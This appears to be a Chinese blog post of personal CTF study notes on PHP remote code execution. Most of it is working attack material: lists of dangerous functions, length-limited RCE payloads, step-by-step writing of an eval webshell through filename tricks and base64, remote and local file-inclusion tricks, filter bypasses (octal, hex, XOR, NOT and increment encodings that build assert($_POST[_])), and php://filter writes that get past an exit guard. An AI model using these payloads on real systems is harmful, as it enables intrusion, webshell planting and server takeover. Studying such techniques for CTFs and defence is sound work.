RCE

php远程代码执行漏洞

RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system(),exec(),shell_exec(),pcntl_exec(),popen(),proc_popen(),passthru()等
    
常被禁用的函数: exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"

一、函数

1.assert

// PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
 
// PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool
//参数 assertion 既支持表达式,也支持表达式字符串(某些特定的场景会用到,比如判断某个字符串表达式是否合法)

版本的不兼容
    PHP >= 5.4.8,description 可作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数
    在 PHP 5 中,参数 assertion(断言) 必须是可执行的字符串,或者运行结果为布尔值的表达式
    在 PHP 7 中,参数 assertion 可以是任意表达式,并用其运算结果作为断言的依据
    在 PHP 7 中,参数 exception 可以是个 Throwable 对象,用于捕获表达式运行错误或断言结果为失败。(当然 assert.exception 需开启)
    PHP >= 7.0.0,支持 zend.assertions、assert.exception 相关配置及其特性
    PHP >= 7.2 版本开始,参数 assertion 不再支持字符串

    

2.php函数替代

php中的'ls': 

scandir(directory,sorting_order,context); 函数返回指定目录中的文件和目录的数组。
directory:必需,规定要扫描的目录。
    
利用data伪协议:
?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
    
其他php常用函数
1.getcwd() 返回当前目录的路径,但是不回显,需要 echo 或者 print 来输出
2.glob($pattern, $flags):根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式,支持 * 和 ? 等通配符,例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录,可以使用 * 作为通配符。$flags 参数是一个可选参数,用于设置匹配模式和排序规则等。
3.file_get_contents($filename) 是 PHP 中一个常用的文件操作函数,它可以返回指定文件的内容
Payload:?page=data://text/plain,<?php $a=file_get_contents('flag.php'); echo $a; ?>
4.htmlspecialchars(string)返回string中的除html标签以外的字符串

3.preg_match_all

//代码执行
preg_match_all(
    string $pattern,
    string $subject,
    array &$matches = null,
    int $flags = 0,
    int $offset = 0
): int|false|null

参数
pattern
要搜索的模式,字符串形式。

subject
输入字符串。

matches
多维数组,作为输出参数输出所有匹配结果, 数组排序通过flags指定。

flags
可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):

PREG_PATTERN_ORDER

结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配,以此类推。
因此下列情况中

(!preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)/", $str, $pat_array))

可以将rce代码输入到$pat_array中。

4.shell_exec

shell_exec 与``作用相同,但无回显,需要echo或其他的输出函数使得其回显
类似的函数:    
exec 函数,无回显
    exec($cmd,$output,$status); //cmd是命令,output储存输出结果,status是执行状态码
	print_r($output);

二、绕过

1.分隔参数绕过

eval($_GET['cmd']);

?cmd=$_POST[1]($_POST[2]);
1=system&2=whoami

2.长度限制

1.17字符RCE

<?php
//sleep(100);
if(isset($_REQUEST['code'])){
        $code=$_REQUEST['code'];
        if(strlen($code)<17 && stripos($code,'eval') === false && stripos($code,'assert') === false ){
        eval($code);
        }else{
            echo "the length is wrong";
        }       
}else{
        highlight_file(__FILE__);
}
?>
unsort
 
绕过方法:
    usort绕过:usort(array,my_function):bool,使用用户自定义的函数(返回一个bool值)对数组中的值进行比较,并对数组中值进行排序
	条件:php版本<7.2(PHP >= 7.2 版本开始,断言不再支持字符串)
//…运算符,对就是三个点,该运算符可以将数组(必须是索引数组)或者可遍历的对象展开变为参数
        
    pyload:code=usort(...$_GET);(post)
    ?1[]=test&1[]=phpinfo();&2=assert(get)
//相当于用assert取处理前面数组里面的每一个值,类似于:usort(['test','phpinfo()'],'assert')

    
反引号
php中的反引号
	PHP执行运算符 :PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。使用反引号运算符`的效果与函数 shell_exec() 相同。
	在 PHP 中,反引号(`)被用作命令替换符号,它的作用是执行命令并获取其输出。当反引号包围的内容被执行时,PHP 将使用操作系统的命令解释器来执行该命令,并将命令的输出作为字符串返回。
注意:
	关闭了 shell_exec() 时反引号运算符是无效的。 
  

pyload: 
code=echo `$_GET[1]`;&1=id
编写一句话木马
?code=echo `$_GET[1]`;&1=touch len1.php

?code=echo `$_GET[1]`;&1=echo '<?php eval($_GET[1]);' > len1.php
    
远程文件包含的利用
正常文件包含include $_GET[1];,这个刚好17个字符,超了一位。

不过,其实include$_GET[1];也是可以运行的,中间的空格可以不要。

这也是一个思路,但限制就是需要开启远程文件包含,但这个选项默认是关闭的。

include包含的所有文件都以php格式运行。
    
code=include$_GET[1];&1=//192.168.xxx.xxx//get.php

本地文件包含的利用
思路:向服务器写入文件并包含
    利用file_put_contents可以将字符一个个地写入一个文件中,大概请求如下:
    ?code=$_GET[a](N,a,8);&a=file_put_contents
    
原理:file_put_contents的第一个参数是文件名,我传入N。PHP会认为N是一个常量,但我之前并没有定义这个常量,于是PHP就会把它转换成字符串'N';第二个参数是要写入的数据,a也被转换成字符串'a';第三个参数是flag,当flag=8的时候内容会追加在文件末尾,而不是覆盖。

	除了 file_put_contents , error_log 函数效果也类似。

	但这个方法有个问题,就是 file_put_contents 第二个参数如果是符号,就会导致PHP出错,比如 :
    	?code=$_GET[a](N,<,8);&a=file_put_contents。
但如果要写webshell的话,“<”等符号又是必不可少的。

	于是微博上 @买贴膜的 想出一个办法,每次向文件'N'中写入一个字母或数字,最后构成一个base64字符串,再包含的时候使用php://filter对base64进行解码即可。(难他天)🤣
	<?php eval($_POST[_]);

文件内容写好后,使用文件包含
code=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
POST:_=phpinfo();


竞争性漏洞
	思路大致为,向phpinfo()界面通过POST请求传入大量的垃圾信息,以及一个文件写入 file_put_contents ,写入的内容为 /var/www/html 下的一个一句话木马,生成一个临时文件。让php在处理垃圾信息的时候,同时新开一个进程来包含这个临时文件,以达到执行文件写入的操作。

向phpinfo()传入的代码:
 
file_put_contents(shell.php,'<?php eval($_GET[1]);>',8)
 
 
文件包含的代码:
include$_GET[1];&1=/tmp/phpXXXXXXXXX  
 
//可以使用. file+glob通配符的方法直接执行这个文件
 
例如:
/tmp/php645ljI
 
. /???/????????[@-[] 达到即使没有权限也能执行这个文件的目的

2.七字符RCE

<?php
if(isset($_REQUEST['code'])){
        $code=$_REQUEST['code'];
        if(strlen($code)<7 && stripos($code,'eval') === false && stripos($code,'assert') === false ){
        shell_exec($code);    //和之前的eval差不多
        }else{
                echo "the length is wrong";
}
}else{
        highlight_file(__FILE__);
}
?>
    
`$_GET[1]` ----长度为10 //一般情况,即使最简单的shell也要10个字节
Linux命令长度限制突破
命令组装
#命令长度受限,这时我们可以使用touch来生成文件,然后将生成的文件名拼凑成一句命令,最后执行,达到目的
#也可以用输入重导向 > 定向输出到文件(如果文件不存在,就创建文件)
<-- cat flag.php -->
替换:
touch a
touch "hp"
touch "g.p\\"   #“\” linux中可以用\使指令连接下一行,这样就可以写多行命令了。(两个\是因为要转义)
touch "la\\"
touch "t f\\"
touch "ca\\"
ls -t
ls -t >a 将 ls -t 内容写入到a文件中
#Shell 脚本的执行方式通常有如下三种:
#bash script-name 或者 sh script-name;
#path/script-name或者./script-name;
#sourcescript-name或者. script-name
sh a

image-20240410163929382

image-20240410164016517

rev 反转命令

image-20240410170135244

写入一句话木马
#写入语句
<?php eval($_GET[1]);
#base64编码后
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被执行的语句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

pyload:
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0


3.五字符RCE

输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

> echo
ls
*

image-20240410165626360

#增加字母来限定被用来当作命令和参数的文件名
>ls
>lss
>lsss
>1
*s       (等同于命令: ls lss lsss)

3.webshell绕过

----通配符绕过
源码中过滤了很多东西,可以使用的字符:p ` ? / + < > =
通过可用的字符构造cmd=?><?=`.+/??p/p?p??????`,由eval($cmd)来运行临时文件
备注:问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx
    


----cat替代
当过滤cat时,可以用以下命令代替
    more:一页一页的显示档案内容
    less:与 more 类似
    head:查看头几行
    tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    tail:查看尾几行
    nl:显示的时候,顺便输出行号
    od:以二进制的方式读取档案内容
    vi:一种编辑器,这个也可以查看
    vim:一种编辑器,这个也可以查看
    sort:可以查看
    uniq:可以查看
    file -f:报错出具体内容
    sh /flag 2>%261 //报错出文件内容
----ls替代
	dir:按列输出,不换行
	rev:可以反转文件每一行的内容


------反引号绕过
 注释:反引号里的内容会当做命令执行,并返回执行结果的字符串
	例如:ls的结果是flag
	则cat `ls` 等同于 cat flag
     
--------编码绕过
Base64
        echo 'cat' | base64
        output:Y2F0Cg==
        `echo 'Y2F0Cg==' | base64 -d` flag # 结合反引号执行命令,返回:cat flag
        output:flag{xxx}
其他:8进制,16进制等
		echo -e "\x2f\x66\x6c\x61\x67" # /flag
		echo -e "\057\0146\0154\0141\0147" # /flag

--------正则表达式绕过
    cat ?la*

-------利用未初始化变量$u绕过
	利用未初始化变量,使用$u绕过
	例如过滤/1010/flag.pgp中的1010
        cat 1010/flag.php
        cat 1010$u/flag.php

1.过滤分隔符 | & ;

①可以使用%0a代替,%0a其实在某种程度上是最标准的命令链接符号
功能	符号	payload
换行符	%0a	?cmd=123%0als
回车符	%0d	?cmd=123%0dls
连续指令	;	?1=123;pwd
后台进程	&	?1=123&pwd
管道	|	?1=123|pwd
逻辑运算	||或&&	?1=123&&pwd
符号	功能
;	分号
|	只执行后面那条命令
||	只执行前面那条命令
&	两条命令都会执行
&&	两条命令都会执行
②?>代替;

在php中可以用?>来代替最后一个;因为php遇到定界符关闭标志时,系统会自动在PHP语句之后加上一个分号。

2.关键词绕过

----使用正斜杠“\”转义符号,引号等绕过
当过滤某些关键词时,使用正斜杠绕过
    ca\t /fl\ag
或者使用引号:
    cat fl''ag	

-----变量拼接绕过
同样是过滤某些关键词时使用
	a=fl;b=ag;cat$IFS$a$b
    
---------使用空变量$*和$@,$x,${x}绕过
	ca$*t flag
    ca$@t flag
    ca$5t flag
    ca${5}t flag
    
---------大小写绕过
#极少遇到的绕过,一般正则都会有 i 选项防止大小写绕过

----内敛执行代替system
    echo `ls`;
    echo $(ls);
    ?><?=`ls`;
    ?><?=$(ls);

3.输入重定向

	符号“<”在Linux命令行中起着输入重定向的作用。它的主要功能是将文件的内容作为命令的输入,使得我们可以将文件中的数据传递给某个命令,从而让命令以文件内容作为输入进行操作。
	command < input_file
	cat < data.txt
	其中,“command”是你想要执行的命令,“input_file”是一个包含输入数据的文件。当你在命令行中输入这个命令时,系统会将“input_file”的内容作为“command”的输入
	
	<<< 符号 - 单行字符串输入
	<<< 符号允许我们将单行字符串传递给命令,作为其输入。
	例如:我们想要在一个字符串中查找特定的关键词
	grep "keyword" <<< "This is an example text containing the keyword."

4.preg_match绕过

数组绕过

数组绕过
preg_match()遇到数组会直接返回flase。

常见数组形式:
        $a[]='flag.php';
        $a=array('flag.php');
        $a=['flag.php'];

%00绕过:

#没有测试过
%00在urldecode后就是0x00,一些函数诸如preg_match遇到0x00会直接停止

%0a换行符绕过

#没有测试过,很鸡肋的绕过,只有 /^flag$/ 也就是^表示开头$表示结尾,这样的才能用

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
im模式是可以匹配很多行

i模式只能匹配一行

多行模式的意思是对每一行都进行正则匹配

在上述题目中,第一次匹配是多行,而第二次则是非多行

可以传入?cmd=php%0aphp ,在第二次匹配中换行符不会被识别,相当于是php开头,aaa结尾,不符合匹配。

或aaa%0aphp也可。

单字绕过

----chr()绕过
对过滤掉的符号进行绕过。
chr(ascii) 函数从指定 ASCII 值返回字符。
ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,十六进制值被定义为带前置 0x。
例如:chr(47)=" / "
    
---十六进制绕过
"\x73\x79\x73\x74\x65\x6d"("whoami"); #system("whoami")
eval("\x73\x79\x73\x74\x65\x6d\x28\x27\x64\x69\x72\x27\x29\x3b"); #执行system('dir');

回溯次数绕过

#没有测试过

preg_match()的回溯次数可以设定,默认是1000000次(中英文次数不同,实测回溯为100w次,5.3.7版本以前是10w次),这个可以在php.ini中查询
    

无数字字母类型

//preg_match函数用来将输入的字符串与正则表达式匹配

<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
if(preg_match('/[a-z0-9]/is',$_GET['shell'])){
    echo "hacker!!!";
}else{
    eval($_GET['shell']);
}
//难点在对输入参数进行了正则匹配,过滤掉了字母和数字,因此要通过一些姿势来绕过对字母、数字参数的过滤达到代码执行的目的




1.汉字取反绕过
	在php的位运算符中,有一种运算方式叫做取反,运算符号为^
	利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如:['和'{2}]的结果是["\x8c"],其取反即为字母s:
	这里还利用了php的弱类型的特点,因为要获取 '和'{2},就必须有数字2。而PHP由于弱类型这个特性:
        true 的值为 1 ,故 true + true == 2,也就是 ('>'>'<')+('>'>'<')==2
pyload:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);

image-20240408193055852

//取反中文字符fuzz的PHP脚本
<?php 
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');

function str_split_unicode($str, $l = 0) {
 
    if ($l > 0) {
        $ret = array();
        $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
            $ret[] = mb_substr($str, $i, $l, "UTF-8");
        }
        return $ret;
    }
    return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
 
$s = '当我站在山顶上俯瞰半个鼓浪屿和整个厦门的夜空的时候,我知道此次出行的目的已经完成了,我要开始收拾行李,明天早上离开这里。前几天有人问我,大学四年结束了,你也不说点什么?乌云发生了一些事情,所有人都缄默不言,你也是一样吗?你逃到南方,难道不回家了吗?当然要回家,我只是想找到我要找的答案。其实这次出来一趟很累,晚上几乎是热汗淋漓回到住处,马,追回十年前姑娘”。后来,感觉一切都步入正轨,学位证也顺利拿到,我匆匆告别了自己的大学。后来也遇到了很多事,事后有人找我,很多人关心你,少数人可能不是,但出了学校以后,又有多少人和事情完全没有目的呢?我也考虑了很多去处,但一直没有决断,倒有念怀旧主,也有妄自菲薄之意,我希望自己能做出点成绩再去谈其他的,所以很久都是闭门不出,琢磨东西。来到厦门,我还了一个愿,又许了新的愿望,希望我还会再次来还愿。我又来到了上次没住够的鼓浪屿,订了一间安静的房子,只有我一个人。在这里,能听到的只有远处屋檐下鸟儿叽叽喳喳的鸣叫声,远处的喧嚣早已烟消云散,即使这只是暂时的。站在屋顶的我,喝下杯中最后一口水。清晨,背着行李,我乘轮渡离开了鼓浪屿,这是我第二次来鼓浪屿,谁知道会不会是最后一次。我在这里住了三天,用三天去寻找了一个答案。不知不觉我又想到辜鸿铭与沈子培的那段对话。“大难临头,何以为之?”“世受国恩,死生系之';

$arr_str=str_split_unicode($s);

for ($i=0; $i < strlen($s) ; $i++) { 
	echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
 ?>

2.URL编码取反绕过
//注意: 该方法只适用于PHP7

对想要传入的参数,先进行URL编码再取反,得到的url编码解码后是一堆不可见字符,可以绕过对字母和数字的检查

例如传入构造一个phpinfo();
	echo urlencode(~'phpinfo'); //%8F%97%8F%96%91%99%90
pyload:?shell=(~%8F%97%8F%96%91%99%90)();
3.异或绕过
原理:	
	在PHP中两个字符串异或之后,得到的还是一个字符串。如果正则过滤了一些字符串,那就可以使用两个不在正则匹配范围内的字符串进行异或得到我们想要的字符串。
    
例如:我们异或 `'?'`和 `'~'`之后得到的是 `'A'`
字符:?         ASCII码:63           二进制:  0011 1111
字符:~         ASCII码:126          二进制:  0111 1110
异或规则:
1   XOR   0   =   1
0   XOR   1   =   1
0   XOR   0   =   0
1   XOR   1   =   0
上述两个字符异或得到 二进制:  0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
echo '?'^'~'; //A

python脚本

描述:
	这里的正则过滤了所有26个字母大小写,如果我想要传入一个eval($_POST[_]); 就需要异或得到这个eval($_POST[_]);字符串
那么如何知道哪两个字符异或可以得到我们想要的字符,就比如如何得到第一个字符 e

这里使用python脚本fuzz测试了一下,脚本如下:
def r_xor():
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            print("  "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))

if __name__ == "__main__":
    r_xor()

#PHITHON师傅的一个payload
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
# assert($_POST[_])

image-20240408201932922

//phpinfo()
$s=('/'^'_').('@'^'(').('/'^'_').('@'^')').(urldecode('%0e')^'@').(':'^'\\').(urldecode('%0f')^'@').'();';
eval($s);
//${_GET}{%ff}();&%ff=phpinfo
?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

pyload:
((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)即print_r
(%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)即scandir 后面就是(.)

//print_r(scandir(.))
((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));

//readfile(end(scandir(.)))
((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));


4.递增递减运算符绕过
原理:
	'a'++ => 'b','b'++ => 'c'… , 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
    数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
    在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array,再取这个字符串的第一个字母,就可以获得'A'了。
    #PHP函数是大小写不敏感的
    
编写了如下webshell:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);



pyload:?shell=
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
//执行:eval(ASSERT($POST[_]))  POST传入: _=phpinfo();

//传参时需要url编码一次!
//另外这里利用版本也是PHP 7.0.12及以下版本,还是因为assert()到PHP7改了的问题
//PHP 7.0.12版本以上就不能用该方法了
    

5.死亡绕过

<?php
        $content='<?php exit;>';
        $content.=$_POST['txt'];
        file_put_contents($_POST['filename'],$content);
?>
    
POST:
txt=<?php eval($_GET[1]);?>;&filename=k3k.php
    
    查看后台,确实生成了文件,但是文件内容拼接在exit后面。程序遇见即结束。 将绕过这种限制的行为称为死亡绕过。我们想要绕过就需要将<?php exit;>给拿掉
        
死亡绕过的解决方法:
1、base64解码
    首先使用 php://filter/write=convert.base64-decode
将文件的内容先进行解码。
一个正常的base64_decode实际上可以理解为如下两个步骤:
<?php
    $_GET['txt'] = preg_replace('I[^a-z0-9A-Z+/]|s','',$_GET['txt']);
	base64_decode($_GET['txt']);

	所以第一步便将其中的"< ? ; >" 四个字符全匹配掉了。然后剩下"phpexit"这7个字节。
        
	base64解码是以4个字节为一组。所以给文件补上一个字节,然后加入我们自己的base64编码后的代码。
        
txt=aPD9waHAgZXZhbCgkX1BPU1RbOV0pOw;&filename=php://filter/write=convert.base64-decode/resource=k3k.php

即"phpexitaPD9waHAgZXZhbCgkX1BPU1RbOV0pOw;" =>^ƫZ<?php eval($_POST[9]);

2.xml标签
    这个标签<?php exit;?>实际上是什么?
	实际上它是一个xml标签,既然是xml标签,就可以利用strip_tags函数去除他,刚好php的伪协议是支持这个方法的
POST:
txt=<?php eval(@_GET[9];)>;&filename=php://filter/write=string.strip_tags/resource=k3k.php
php伪协议 允许使用多个过滤器:
txt=?>PD9waHAgZXZhbCgkX1BPU1RbOV0pOw==;&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=k3k.php

6.无回显

输出重定向,创建文件

$ cat /flag > 1.txt  
#在php页面访问1.txt

php函数file_put_content,写文件

file_put_contents("file","content"); 方法写入

copy复制、move移动

$ copy /flag 1.txt
$ move /flag 1.txt

7.白名单

​ 白名单一般都有固定的解法,一般要具体问题具体分析,下面是一些实战例题

1.XYCTF[ezRCE]

<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

wp

而且 system($cmd);是直接执行系统命令
那好,现在我们来尝试构造payload
首先系统命令?cmd=肯定是要的
那我们这里就在想了,既然限制我们只能输入这些
那我们普通的 ls cat 这些命令不就用不了了嘛


其实liunx命令使用八进制也能运行
就比如ls的八进制是\154\163
但不能被直接读取,如果这样的话,系统会直接默认为普通数字并不会有任何操作
我们可以利用bash的 ′ s t r i n g ′ 语法,它允许字符串中的转义序列被解释。那这里我们就可以直接写成 'string' 语法,它允许字符串中的转义序列被解释。 $'\154\163',就这样,我们尝试一下能不能在liunx里面运行
    
下面是php脚本
    
<?php
function bin2oct($str){
    $s='';
    foreach($str as $char){
        $s.='\\'.decoct(hexdec(bin2hex($char)));
    }
    return $s;
}
echo '$\''.bin2oct(str_split('cat')).'\'<$\''.bin2oct(str_split('/flag')).'\'';
//$'\143\141\164'<$'\57\146\154\141\147'
    

posted @ 2024-04-30 12:27  波波sama  阅读(2)  评论(0编辑  收藏  举报